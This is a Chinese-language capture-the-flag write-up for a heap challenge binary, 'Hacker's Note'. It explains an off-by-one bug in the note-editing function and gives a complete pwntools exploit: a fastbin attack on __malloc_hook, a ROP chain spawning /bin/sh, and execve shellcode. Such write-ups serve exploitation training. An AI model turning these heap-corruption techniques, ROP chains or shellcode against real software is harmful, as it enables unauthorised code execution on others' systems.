checksec
[*] '/home/matrix/PWN/note'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
保护全部关闭
IDA
程序是个静态编译的所以libc地址泄露是不用想了。而且除去了符号表所以花点时间标记一下函数
main函数
// 整个程序目的是:note管理器 一共 16个 note
//
// add:malloc(size) 指针放在main函数的栈上,size记录在:指针_addr + 0x80
//
// edit:从栈上获取指针于对应size,再次输入,输入之后size=str(input)
//
// delete: 从栈上获取指针,free(ptr) 并且指针,size置零
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int choice; // eax
char ptr2chunk; // [rsp+20h] [rbp-390h]
int v5; // [rsp+3ACh] [rbp-4h]
sub_4009AE(); // 初始化
puts((__int64)"Welcome to Hacker's Note");
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_int();
v5 = choice;
if ( choice != 2 )
break;
delete((__int64)&ptr2chunk);
}
if ( choice > 2 )
{
if ( choice == 3 )
{
edit((__int64)&ptr2chunk);
}
else
{
if ( choice == 4 )
{
puts((__int64)"see u ~");
sub_40F090(0LL);
}
LABEL_14:
puts((__int64)"Invaild choice!");
}
}
else
{
if ( choice != 1 )
goto LABEL_14;
add((__int64)&ptr2chunk, (__int64)argv);
}
}
}
其中在edit功能中存在漏洞:
__int64 __fastcall edit(__int64 a1)
{
signed int index; // [rsp+1Ch] [rbp-4h]
puts((__int64)"Input the Index of Note:");
index = read_int();
if ( (unsigned __int8)sub_400B04(index, a1) ^ 1 )
{
puts((__int64)"Invaild !!");
}
else
{
puts((__int64)"Input the Note:");
read_like(*(_QWORD *)(8LL * index + a1), *(_QWORD *)(8 * (index + 16LL) + a1));
*(_QWORD *)(a1 + 8 * (index + 16LL)) = strlen(*(const __m128i **)(8LL * index + a1));// size = strlen(chunk)
puts((__int64)"Edit Done!");
}
return 0LL;
}
如果前一个chunk的数据区填满了那么其下一个数据就是下面一个chunk的size字段,那么strlen在判断字符长度时就会多一个,那么size将会+1。最终造成off-by-one,可以达到覆盖size字段的目的
数据结构
思路
- 利用off-by-one覆盖fastbin chunk的size字段造成fastbin chunk extend
- 利用overlapping 篡改下一个chunk的fd字段,使其指向__malloc_hook,实现fastbin attack
因为程序的RWX段比较多,而且程序静态编译所以大部分段都是固定的。所以利用方案也有多个pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4ca000 r-xp ca000 0 /home/matrix/PWN/note 0x6ca000 0x6cd000 rwxp 3000 ca000 /home/matrix/PWN/note <==========__malloc_hook 0x6cd000 0x6f2000 rwxp 25000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso] 0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
我的方案是,通过fastbin attack获取__malloc_hook附近的chunk,然后构造一个read函数将ropchain读取到RWX区然后跳转到对应区域即可
void *retaddr; // [rsp+18h] [rbp+0h]
if ( off_6CB788 ) <======进入malloc函数后根据其__libc_malloc的首先判断hook的特点可知这里就是__malloc_hook地址
return off_6CB788(a1, retaddr);
_RBX = __readfsqword(0xFFFFFFD8);
if ( _RBX && !(*(_DWORD *)(_RBX + 4) & 4) )
{
_ESI = 1;
v8 = dword_6CE1BC == 0;
if ( dword_6CE1BC )
EXP
#+++++++++++++++++++note.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Wed Oct 21 19:50:07 CST 2020
#+++++++++++++++++++note.py++++++++++++++++++++
from pwn import*
from struct import pack
#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
elf = ELF('./note')
#libc = ELF('null')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(size,cont):
sh.sendlineafter('-----------------\n','1')
sh.sendlineafter('Input the Size:\n',str(size))
if(size != -1):
sh.sendlineafter('Input the Note:\n',str(cont))
def delete(index):
sh.sendlineafter('-----------------\n','2')
sh.sendlineafter('Input the Index of Note:\n',str(index))
def edit(index,cont):
sh.sendlineafter('-----------------\n','3')
sh.sendlineafter('Input the Index of Note:\n',str(index))
sh.sendafter('Input the Note:\n',str(cont))
sh = process('./note')
malloc_hook = 0x6CB788
fake_chunk_size_addr = 0x6cb77a
fake_chunk_addr = fake_chunk_size_addr - 0x8
#sh = remote('ip',port)
add(0x58,'AAAABBBB') #0
add(0x58,'AAAAAAAA') #1
fake_size_for_extends = p64(0x21)
add(0x38,'C'*0x18+fake_size_for_extends) #2
edit(0,'A'*0x58)
edit(0,'A'*0x58 + '\x81')# fastbin chunk extend
delete(1)
delete(2)
attack1 = 'A'*0x58
attack1 += p64(0x41)
attack1 += p64(fake_chunk_addr)
add(0x78,attack1)
add(0x38,'AAAAAAAA')
read = asm('''
xor rdi,rdi
mov rsi,0x6cd000
mov rdx,0x400
mov rax,0
syscall
mov rsp,0x6cd000 #ip跳转
ret
''')
attack2 = 'A'*6 + p64(malloc_hook+0x10)
attack2 += p64(0x6cd000) + read
#ROPgadget --binary note --ropchain
p = ''
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000478e06) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000474ab1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426dcf) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474ab1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401b16) # pop rdi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000401c37) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000443606) # pop rdx ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426dcf) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004670f0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall
add(0x38,attack2)
log.success("attack2 len====>"+str(hex(len(attack2))))
log.success("ropchain len====>"+str(hex(len(p))))
#gdb.attach(sh,'b*0x0000000000400BF8')
add(-1,'AAAA')
sh.sendline(p)
sh.interactive()
当然也可以直接读取shellcode到堆区,然后直接在__malloc_hook中写入shellcode地址即可,但是我老是遇到程序执行到push rsp或者某个存放二级指针的寄存器时跳转到无效指令。
因为当时用的都是网上的shellcode,如下:
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx <========此时rsp就是/bin//sh的指针
400092: 54 push %rsp <========这里出错
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
然后就只能自己改一下了:
shellcode = asm('''
xor rax,rax
push rax
movabs rdi,0x68732f2f6e69622f
push rdi
mov rdi,rsp <======这里就没用push和pop组合来获取指针了,直接赋值
xor rdx,rdx
xor rsi,rsi
mov al,0x3b
syscall
''')